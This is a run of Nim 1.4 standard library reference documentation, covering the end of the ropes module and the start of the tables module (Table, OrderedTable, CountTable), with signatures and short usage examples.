[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L128) ``` proc rope(i: BiggestInt): Rope {...}{.gcsafe, extern: "nro$1BiggestInt", raises: [], tags: [].} ``` Converts an int to a rope. **Example:** ``` var r = rope(429) doAssert $r == "429" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L146) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L146) ``` proc rope(f: BiggestFloat): Rope {...}{.gcsafe, extern: "nro$1BiggestFloat", raises: [], tags: [].} ``` Converts a float to a rope. **Example:** ``` var r = rope(4.29) doAssert $r == "4.29" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L153) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L153) ``` proc enableCache() {...}{.gcsafe, extern: "nro$1", raises: [], tags: [].} ``` Enables the caching of leaves. This reduces the memory footprint at the cost of runtime efficiency. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L160) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L160) ``` proc disableCache() {...}{.gcsafe, extern: "nro$1", raises: [], tags: [].} ``` The cache is discarded and disabled. The GC will reuse its used memory. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L165) ``` proc `&`(a, b: Rope): Rope {...}{.gcsafe, extern: "nroConcRopeRope", raises: [], tags: [].} ``` The concatenation operator for ropes. **Example:** ``` var r1 = rope("Hello, ") r2 = rope("Nim!") let r = r1 & r2 doAssert $r == "Hello, Nim!" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L170) ``` proc `&`(a: Rope; b: string): Rope {...}{.gcsafe, extern: "nroConcRopeStr", raises: [], tags: [].} ``` The concatenation operator for ropes. **Example:** ``` var r1 = rope("Hello, ") r2 = "Nim!" let r = r1 & r2 doAssert $r == "Hello, Nim!" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L189) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L189) ``` proc `&`(a: string; b: Rope): Rope {...}{.gcsafe, extern: "nroConcStrRope", raises: [], tags: [].} ``` The concatenation operator for ropes. **Example:** ``` var r1 = "Hello, " r2 = rope("Nim!") let r = r1 & r2 doAssert $r == "Hello, Nim!" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L200) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L200) ``` proc `&`(a: openArray[Rope]): Rope {...}{.gcsafe, extern: "nroConcOpenArray", raises: [], tags: [].} ``` The concatenation operator for an openarray of ropes. **Example:** ``` let s = @[rope("Hello, "), rope("Nim"), rope("!")] let r = &s doAssert $r == "Hello, Nim!" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L211) ``` proc add(a: var Rope; b: Rope) {...}{.gcsafe, extern: "nro$1Rope", raises: [], tags: [].} ``` Adds `b` to the rope `a`. **Example:** ``` var r1 = rope("Hello, ") r2 = rope("Nim!") r1.add(r2) doAssert $r1 == "Hello, Nim!" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L219) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L219) ``` proc add(a: var Rope; b: string) {...}{.gcsafe, extern: "nro$1Str", raises: [], tags: [].} ``` Adds `b` to the rope `a`. **Example:** ``` var r1 = rope("Hello, ") r2 = "Nim!" r1.add(r2) doAssert $r1 == "Hello, Nim!" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L230) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L230) ``` proc `[]`(r: Rope; i: int): char {...}{.gcsafe, extern: "nroCharAt", raises: [], tags: [].} ``` Returns the character at position `i` in the rope `r`. This is quite expensive! Worst-case: O(n). If `i >= r.len`, `\0` is returned. **Example:** ``` let r1 = rope("Hello, Nim!") doAssert r1[0] == 'H' doAssert r1[7] == 'N' doAssert r1[22] == '\0' let r2 = rope("Hello") & rope(", Nim!") doAssert r2[0] == 'H' doAssert r2[7] == 'N' doAssert r2[22] == '\0' ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L241) ``` proc write(f: File; r: Rope) {...}{.gcsafe, extern: "nro$1", raises: [IOError], tags: [WriteIOEffect].} ``` Writes a rope to a file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L297) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L297) ``` proc write(s: Stream; r: Rope) {...}{.gcsafe, extern: "nroWriteStream", raises: [IOError, OSError], tags: [WriteIOEffect].} ``` Writes a rope to a stream. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L301) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L301) ``` proc `$`(r: Rope): string {...}{.gcsafe, extern: "nroToString", raises: [], tags: [].} ``` Converts a rope back to a string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L305) ``` proc `%`(frmt: string; args: openArray[Rope]): Rope {...}{.gcsafe, extern: "nroFormat", raises: [ValueError], tags: [].} ``` `%` substitution operator for ropes. Does not support the `$identifier` nor `${identifier}` notations. **Example:** ``` let r1 = "$1 $2 $3" % [rope("Nim"), rope("is"), rope("a great language")] doAssert $r1 == "Nim is a great language" let r2 = "$# $# $#" % [rope("Nim"), rope("is"), rope("a great language")] doAssert $r2 == "Nim is a great language" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L310) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L310) ``` proc addf(c: var Rope; frmt: string; args: openArray[Rope]) {...}{.gcsafe, extern: "nro$1", raises: [ValueError], tags: [].} ``` Shortcut for `add(c, frmt % args)`. **Example:** ``` var r = rope("Dash: ") r.addf "$1 $2 $3", [rope("Nim"), rope("is"), rope("a great language")] doAssert $r == "Dash: Nim is a great language" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L360) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L360) ``` proc equalsFile(r: Rope; f: File): bool {...}{.gcsafe, extern: "nro$1File", raises: [IOError], tags: [ReadIOEffect].} ``` Returns true if the contents of the file `f` equal `r`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L373) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L373) ``` proc equalsFile(r: Rope; filename: string): bool {...}{.gcsafe, extern: "nro$1Str", raises: [IOError], tags: [ReadIOEffect].} ``` Returns true if the contents of the file `f` equal `r`. If `f` does not exist, false is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L402) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L402) Iterators --------- ``` iterator leaves(r: Rope): string {...}{.raises: [], tags: [].} ``` Iterates over any leaf string in the rope `r`. **Example:** ``` let r = rope("Hello") & rope(", Nim!") let s = ["Hello", ", Nim!"] var index = 0 for leave in r.leaves: doAssert leave == s[index] inc index ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L271) ``` iterator items(r: Rope): char {...}{.raises: [], tags: [].} ``` Iterates over any character in the rope `r`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L292) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L292)
programming_docs
nim tables tables ====== The `tables` module implements variants of an efficient hash table (also often named dictionary in other programming languages) that is a mapping from keys to values. There are several different types of hash tables available: * [Table](#Table) is the usual hash table, * [OrderedTable](#OrderedTable) is like `Table` but remembers insertion order, * [CountTable](#CountTable) is a mapping from a key to its number of occurrences For consistency with every other data type in Nim these have **value** semantics, this means that `=` performs a copy of the hash table. For [ref semantics](manual#types-reference-and-pointer-types) use their `Ref` variants: [TableRef](#TableRef), [OrderedTableRef](#OrderedTableRef), and [CountTableRef](#CountTableRef). To give an example, when `a` is a `Table`, then `var b = a` gives `b` as a new independent table. `b` is initialised with the contents of `a`. Changing `b` does not affect `a` and vice versa: ``` import tables var a = {1: "one", 2: "two"}.toTable # creates a Table b = a echo a, b # output: {1: one, 2: two}{1: one, 2: two} b[3] = "three" echo a, b # output: {1: one, 2: two}{1: one, 2: two, 3: three} echo a == b # output: false ``` On the other hand, when `a` is a `TableRef` instead, then changes to `b` also affect `a`. Both `a` and `b` **ref** the same data structure: ``` import tables var a = {1: "one", 2: "two"}.newTable # creates a TableRef b = a echo a, b # output: {1: one, 2: two}{1: one, 2: two} b[3] = "three" echo a, b # output: {1: one, 2: two, 3: three}{1: one, 2: two, 3: three} echo a == b # output: true ``` --- Basic usage ----------- ### Table ``` import tables from sequtils import zip let names = ["John", "Paul", "George", "Ringo"] years = [1940, 1942, 1943, 1940] var beatles = initTable[string, int]() for pairs in zip(names, years): let (name, birthYear) = pairs beatles[name] = birthYear echo beatles # {"George": 1943, "Ringo": 1940, "Paul": 1942, "John": 1940} var beatlesByYear = initTable[int, seq[string]]() for pairs in zip(years, names): let (birthYear, name) = pairs if not beatlesByYear.hasKey(birthYear): # if a key doesn't exist, we create one with an empty sequence # before we can add elements to it beatlesByYear[birthYear] = @[] beatlesByYear[birthYear].add(name) echo beatlesByYear # {1940: @["John", "Ringo"], 1942: @["Paul"], 1943: @["George"]} ``` ### OrderedTable [OrderedTable](#OrderedTable) is used when it is important to preserve the insertion order of keys. ``` import tables let a = [('z', 1), ('y', 2), ('x', 3)] t = a.toTable # regular table ot = a.toOrderedTable # ordered tables echo t # {'x': 3, 'y': 2, 'z': 1} echo ot # {'z': 1, 'y': 2, 'x': 3} ``` ### CountTable [CountTable](#CountTable) is useful for counting number of items of some container (e.g. string, sequence or array), as it is a mapping where the items are the keys, and their number of occurrences are the values. For that purpose [toCountTable proc](#toCountTable,openArray%5BA%5D) comes handy: ``` import tables let myString = "abracadabra" let letterFrequencies = toCountTable(myString) echo letterFrequencies # output: {'a': 5, 'b': 2, 'c': 1, 'd': 1, 'r': 2} ``` The same could have been achieved by manually iterating over a container and increasing each key's value with [inc proc](#inc,CountTable%5BA%5D,A,Positive): ``` import tables let myString = "abracadabra" var letterFrequencies = initCountTable[char]() for c in myString: letterFrequencies.inc(c) echo letterFrequencies # output: {'a': 5, 'b': 2, 'c': 1, 'd': 1, 'r': 2} ``` --- ### Hashing If you are using simple standard types like `int` or `string` for the keys of the table you won't have any problems, but as soon as you try to use a more complex object as a key you will be greeted by a strange compiler error: > Error: type mismatch: got (Person) but expected one of: hashes.hash(x: openArray[A]): Hash hashes.hash(x: int): Hash hashes.hash(x: float): Hash … > > What is happening here is that the types used for table keys require to have a `hash()` proc which will convert them to a [Hash](hashes#Hash) value, and the compiler is listing all the hash functions it knows. Additionally there has to be a `==` operator that provides the same semantics as its corresponding `hash` proc. After you add `hash` and `==` for your custom type everything will work. Currently, however, `hash` for objects is not defined, whereas `system.==` for objects does exist and performs a "deep" comparison (every field is compared) which is usually what you want. So in the following example implementing only `hash` suffices: ``` import tables, hashes type Person = object firstName, lastName: string proc hash(x: Person): Hash = ## Piggyback on the already available string hash proc. ## ## Without this proc nothing works! result = x.firstName.hash !& x.lastName.hash result = !$result var salaries = initTable[Person, int]() p1, p2: Person p1.firstName = "Jon" p1.lastName = "Ross" salaries[p1] = 30_000 p2.firstName = "소진" p2.lastName = "박" salaries[p2] = 45_000 ``` --- See also -------- * [json module](json) for table-like structure which allows heterogeneous members * [sharedtables module](sharedtables) for shared hash table support * [strtabs module](strtabs) for efficient hash tables mapping from strings to strings * [hashes module](hashes) for helper functions for hashing Imports ------- <since>, <hashes>, <math>, <algorithm> Types ----- ``` Table[A; B] = object data: KeyValuePairSeq[A, B] counter: int ``` Generic hash table, consisting of a key-value pair. `data` and `counter` are internal implementation details which can't be accessed. For creating an empty Table, use [initTable proc](#initTable,int). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L227) ``` TableRef[A; B] = ref Table[A, B] ``` Ref version of [Table](#Table). For creating a new empty TableRef, use [newTable proc](#newTable,int). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L236) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L236) ``` OrderedTable[A; B] = object data: OrderedKeyValuePairSeq[A, B] counter, first, last: int ``` Hash table that remembers insertion order. For creating an empty OrderedTable, use [initOrderedTable proc](#initOrderedTable,int). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1227) ``` OrderedTableRef[A; B] = ref OrderedTable[A, B] ``` Ref version of [OrderedTable](#OrderedTable). For creating a new empty OrderedTableRef, use [newOrderedTable proc](#newOrderedTable,int). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1234) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1234) ``` CountTable[A] = object data: seq[tuple[key: A, val: int]] counter: int isSorted: bool ``` Hash table that counts the number of each key. For creating an empty CountTable, use [initCountTable proc](#initCountTable,int). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2207) ``` CountTableRef[A] = ref CountTable[A] ``` Ref version of [CountTable](#CountTable). For creating a new empty CountTableRef, use [newCountTable proc](#newCountTable,int). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2215) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2215) Consts ------ ``` defaultInitialSize = 32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L242) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L242) Procs ----- ``` proc rightSize(count: Natural): int {...}{.inline, deprecated: "Deprecated since 1.4.0", raises: [], tags: [].} ``` **Deprecated:** Deprecated since 1.4.0 **Deprecated since Nim v1.4.0**, it is not needed anymore because picking the correct size is done internally. Return the value of `initialSize` to support `count` items. If more items are expected to be added, simply add that expected extra amount to the parameter before calling this. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/hashcommon.nim#L41) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/hashcommon.nim#L41) ``` proc initTable[A, B](initialSize = defaultInitialSize): Table[A, B] ``` Creates a new hash table that is empty. Starting from Nim v0.20, tables are initialized by default and it is not necessary to call this function explicitly. See also: * [toTable proc](#toTable,openArray%5B%5D) * [newTable proc](#newTable,int) for creating a `TableRef` **Example:** ``` let a = initTable[int, string]() b = initTable[char, seq[int]]() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L288) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L288) ``` proc `[]=`[A, B](t: var Table[A, B]; key: A; val: sink B) ``` Inserts a `(key, value)` pair into `t`. See also: * [[] proc](#%5B%5D,Table%5BA,B%5D,A) for retrieving a value of a key * [hasKeyOrPut proc](#hasKeyOrPut,Table%5BA,B%5D,A,B) * [mgetOrPut proc](#mgetOrPut,Table%5BA,B%5D,A,B) * [del proc](#del,Table%5BA,B%5D,A) for removing a key from the table **Example:** ``` var a = initTable[char, int]() a['x'] = 7 a['y'] = 33 doAssert a == {'x': 7, 'y': 33}.toTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L303) ``` proc toTable[A, B](pairs: openArray[(A, B)]): Table[A, B] ``` Creates a new hash table that contains the given `pairs`. `pairs` is a container consisting of `(key, value)` tuples. See also: * [initTable proc](#initTable,int) * [newTable proc](#newTable,openArray%5B%5D) for a `TableRef` version **Example:** ``` let a = [('a', 5), ('b', 9)] let b = toTable(a) assert b == {'a': 5, 'b': 9}.toTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L319) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L319) ``` proc `[]`[A, B](t: Table[A, B]; key: A): B ``` Retrieves the value at `t[key]`. If `key` is not in `t`, the `KeyError` exception is raised. One can check with [hasKey proc](#hasKey,Table%5BA,B%5D,A) whether the key exists. See also: * [getOrDefault proc](#getOrDefault,Table%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,Table%5BA,B%5D,A,B) to return a custom value if the key doesn't exist * [[]= proc](#%5B%5D=,Table%5BA,B%5D,A,B) for inserting a new (key, value) pair in the table * [hasKey proc](#hasKey,Table%5BA,B%5D,A) for checking if a key is in the table **Example:** ``` let a = {'a': 5, 'b': 9}.toTable doAssert a['a'] == 5 doAssertRaises(KeyError): echo a['z'] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L335) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L335) ``` proc `[]`[A, B](t: var Table[A, B]; key: A): var B ``` Retrieves the value at `t[key]`. The value can be modified. If `key` is not in `t`, the `KeyError` exception is raised. See also: * [getOrDefault proc](#getOrDefault,Table%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,Table%5BA,B%5D,A,B) to return a custom value if the key doesn't exist * [[]= proc](#%5B%5D=,Table%5BA,B%5D,A,B) for inserting a new (key, value) pair in the table * [hasKey proc](#hasKey,Table%5BA,B%5D,A) for checking if a key is in the table [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L358) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L358) ``` proc hasKey[A, B](t: Table[A, B]; key: A): bool ``` Returns true if `key` is in the table `t`. See also: * [contains proc](#contains,Table%5BA,B%5D,A) for use with the `in` operator * [[] proc](#%5B%5D,Table%5BA,B%5D,A) for retrieving a value of a key * [getOrDefault proc](#getOrDefault,Table%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,Table%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` let a = {'a': 5, 'b': 9}.toTable doAssert a.hasKey('a') == true doAssert a.hasKey('z') == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L374) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L374) ``` proc contains[A, B](t: Table[A, B]; key: A): bool ``` Alias of [hasKey proc](#hasKey,Table%5BA,B%5D,A) for use with the `in` operator. **Example:** ``` let a = {'a': 5, 'b': 9}.toTable doAssert 'b' in a == true doAssert a.contains('z') == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L392) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L392) ``` proc hasKeyOrPut[A, B](t: var Table[A, B]; key: A; val: B): bool ``` Returns true if `key` is in the table, otherwise inserts `value`. See also: * [hasKey proc](#hasKey,Table%5BA,B%5D,A) * [[] proc](#%5B%5D,Table%5BA,B%5D,A) for retrieving a value of a key * [getOrDefault proc](#getOrDefault,Table%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,Table%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` var a = {'a': 5, 'b': 9}.toTable if a.hasKeyOrPut('a', 50): a['a'] = 99 if a.hasKeyOrPut('z', 50): a['z'] = 99 doAssert a == {'a': 99, 'b': 9, 'z': 50}.toTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L402) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L402) ``` proc getOrDefault[A, B](t: Table[A, B]; key: A): B ``` Retrieves the value at `t[key]` if `key` is in `t`. Otherwise, the default initialization value for type `B` is returned (e.g. 0 for any integer type). See also: * [[] proc](#%5B%5D,Table%5BA,B%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,Table%5BA,B%5D,A) * [hasKeyOrPut proc](#hasKeyOrPut,Table%5BA,B%5D,A,B) * [mgetOrPut proc](#mgetOrPut,Table%5BA,B%5D,A,B) * [getOrDefault proc](#getOrDefault,Table%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` let a = {'a': 5, 'b': 9}.toTable doAssert a.getOrDefault('a') == 5 doAssert a.getOrDefault('z') == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L422) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L422) ``` proc getOrDefault[A, B](t: Table[A, B]; key: A; default: B): B ``` Retrieves the value at `t[key]` if `key` is in `t`. Otherwise, `default` is returned. See also: * [[] proc](#%5B%5D,Table%5BA,B%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,Table%5BA,B%5D,A) * [hasKeyOrPut proc](#hasKeyOrPut,Table%5BA,B%5D,A,B) * [mgetOrPut proc](#mgetOrPut,Table%5BA,B%5D,A,B) * [getOrDefault proc](#getOrDefault,Table%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist **Example:** ``` let a = {'a': 5, 'b': 9}.toTable doAssert a.getOrDefault('a', 99) == 5 doAssert a.getOrDefault('z', 99) == 99 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L441) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L441) ``` proc mgetOrPut[A, B](t: var Table[A, B]; key: A; val: B): var B ``` Retrieves value at `t[key]` or puts `val` if not present, either way returning a value which can be modified. Note that while the value returned is of type `var B`, it is easy to accidentally create an copy of the value at `t[key]`. Remember that seqs and strings are value types, and therefore cannot be copied into a separate variable for modification. See the example below. See also: * [[] proc](#%5B%5D,Table%5BA,B%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,Table%5BA,B%5D,A) * [hasKeyOrPut proc](#hasKeyOrPut,Table%5BA,B%5D,A,B) * [getOrDefault proc](#getOrDefault,Table%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,Table%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` var a = {'a': 5, 'b': 9}.toTable doAssert a.mgetOrPut('a', 99) == 5 doAssert a.mgetOrPut('z', 99) == 99 doAssert a == {'a': 5, 'b': 9, 'z': 99}.toTable # An example of accidentally creating a copy var t = initTable[int, seq[int]]() # In this example, we expect t[10] to be modified, # but it is not. var copiedSeq = t.mgetOrPut(10, @[10]) copiedSeq.add(20) doAssert t[10] == @[10] # Correct t.mgetOrPut(25, @[25]).add(35) doAssert t[25] == @[25, 35] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L459) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L459) ``` proc len[A, B](t: Table[A, B]): int ``` Returns the number of keys in `t`. **Example:** ``` let a = {'a': 5, 'b': 9}.toTable doAssert len(a) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L497) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L497) ``` proc add[A, B](t: var Table[A, B]; key: A; val: sink B) {...}{.deprecated: "Deprecated since v1.4; it was more confusing than useful, use `[]=`".} ``` **Deprecated:** Deprecated since v1.4; it was more confusing than useful, use `[]=` Puts a new `(key, value)` pair into `t` even if `t[key]` already exists. **This can introduce duplicate keys into the table!** Use [[]= proc](#%5B%5D=,Table%5BA,B%5D,A,B) for inserting a new (key, value) pair in the table without introducing duplicates. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L505) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L505) ``` proc del[A, B](t: var Table[A, B]; key: A) ``` Deletes `key` from hash table `t`. Does nothing if the key does not exist. See also: * [pop proc](#pop,Table%5BA,B%5D,A,B) * [clear proc](#clear,Table%5BA,B%5D) to empty the whole table **Example:** ``` var a = {'a': 5, 'b': 9, 'c': 13}.toTable a.del('a') doAssert a == {'b': 9, 'c': 13}.toTable a.del('z') doAssert a == {'b': 9, 'c': 13}.toTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L519) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L519) ``` proc pop[A, B](t: var Table[A, B]; key: A; val: var B): bool ``` Deletes the `key` from the table. Returns `true`, if the `key` existed, and sets `val` to the mapping of the key. Otherwise, returns `false`, and the `val` is unchanged. See also: * [del proc](#del,Table%5BA,B%5D,A) * [clear proc](#clear,Table%5BA,B%5D) to empty the whole table **Example:** ``` var a = {'a': 5, 'b': 9, 'c': 13}.toTable i: int doAssert a.pop('b', i) == true doAssert a == {'a': 5, 'c': 13}.toTable doAssert i == 9 i = 0 doAssert a.pop('z', i) == false doAssert a == {'a': 5, 'c': 13}.toTable doAssert i == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L534) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L534) ``` proc take[A, B](t: var Table[A, B]; key: A; val: var B): bool {...}{.inline.} ``` Alias for:* [pop proc](#pop,Table%5BA,B%5D,A,B) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L562) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L562) ``` proc clear[A, B](t: var Table[A, B]) ``` Resets the table so that it is empty. See also: * [del proc](#del,Table%5BA,B%5D,A) * [pop proc](#pop,Table%5BA,B%5D,A,B) **Example:** ``` var a = {'a': 5, 'b': 9, 'c': 13}.toTable doAssert len(a) == 3 clear(a) doAssert len(a) == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L567) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L567) ``` proc `$`[A, B](t: Table[A, B]): string ``` The `$` operator for hash tables. Used internally when calling `echo` on a table. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L581) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L581) ``` proc `==`[A, B](s, t: Table[A, B]): bool ``` The `==` operator for hash tables. Returns `true` if the content of both tables contains the same key-value pairs. Insert order does not matter. **Example:** ``` let a = {'a': 5, 'b': 9, 'c': 13}.toTable b = {'b': 9, 'c': 13, 'a': 5}.toTable doAssert a == b ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L586) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L586) ``` proc indexBy[A, B, C](collection: A; index: proc (x: B): C): Table[C, B] ``` Index the collection with the proc provided. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L597) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L597) ``` proc newTable[A, B](initialSize = defaultInitialSize): TableRef[A, B] ``` Creates a new ref hash table that is empty. See also: * [newTable proc](#newTable,openArray%5B%5D) for creating a `TableRef` from a collection of `(key, value)` pairs * [initTable proc](#initTable,int) for creating a `Table` **Example:** ``` let a = newTable[int, string]() b = newTable[char, seq[int]]() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L798) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L798) ``` proc newTable[A, B](pairs: openArray[(A, B)]): TableRef[A, B] ``` Creates a new ref hash table that contains the given `pairs`. `pairs` is a container consisting of `(key, value)` tuples. See also: * [newTable proc](#newTable,int) * [toTable proc](#toTable,openArray%5B%5D) for a `Table` version **Example:** ``` let a = [('a', 5), ('b', 9)] let b = newTable(a) assert b == {'a': 5, 'b': 9}.newTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L813) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L813) ``` proc newTableFrom[A, B, C](collection: A; index: proc (x: B): C): TableRef[C, B] ``` Index the collection with the proc provided. 